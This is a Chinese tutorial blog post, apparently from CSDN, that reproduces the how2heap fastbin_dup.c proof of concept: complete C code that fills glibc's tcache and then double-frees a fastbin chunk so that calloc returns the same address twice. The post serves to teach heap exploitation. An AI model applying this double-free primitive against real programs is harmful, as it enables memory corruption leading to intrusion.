how2heap-fastbin_dup.c

该代码展示了如何在存在tcache的libc版本中进行fastbin_dup攻击。首先填满tcache,然后执行double-free操作,避免头结点被二次释放,以此来操纵内存分配。通过calloc和free操作,可以导致内存块的重复分配,揭示了内存管理中的安全漏洞。
摘要由CSDN通过智能技术生成

不同libc版本的fastbin_dup.c源码有点小区别:主要是有tcache的,需要先填充
以下为有tcache的源码示例:

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
	setbuf(stdout, NULL);

	printf("This file demonstrates a simple double-free attack with fastbins.\n");

	printf("Fill up tcache first.\n");
	void *ptrs[8];
	for (int i=0; i<8; i++) {
		ptrs[i] = malloc(8);
	}
	for (int i=0; i<7; i++) {
		free(ptrs[i]);
	}

	printf("Allocating 3 buffers.\n");
	int *a = calloc(1, 8);
	int *b = calloc(1, 8);
	int *c = calloc(1, 8);

	printf("1st calloc(1, 8): %p\n", a);
	printf("2nd calloc(1, 8): %p\n", b);
	printf("3rd calloc(1, 8): %p\n", c);

	printf("Freeing the first one...\n");
	free(a);

	printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
	// free(a);

	printf("So, instead, we'll free %p.\n", b);
	free(b);

	printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
	free(a);

	printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
	a = calloc(1, 8);
	b = calloc(1, 8);
	c = calloc(1, 8);
	printf("1st calloc(1, 8): %p\n", a);
	printf("2nd calloc(1, 8): %p\n", b);
	printf("3rd calloc(1, 8): %p\n", c);

	assert(a == c);
}

编译:
gcc -g fastbin_dup.c -o fastbin_dup

tcache[count]特点
count= 7
优先分配-用malloc(8)的大小即可free后占用

在这里插入图片描述7个tcache
在这里插入图片描述fastbin_dup注意事项:
头结点不能同时free两次。
在这里插入图片描述
释放b把头结点变成b,即可再次free(a):
在这里插入图片描述达成利用:
在这里插入图片描述执行结果:
在这里插入图片描述

fastbin_dup总结:

  • 可用libc版本
    所有

  • bins
    fastbin

  • 注意事项
    1.有tcache先malloc(8)*7,在free掉7个占满tcache;
    2.double free的chunk不能是头结点,需要利用一个中间替换头结点;

  • 目的
    重复写free(chunk)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值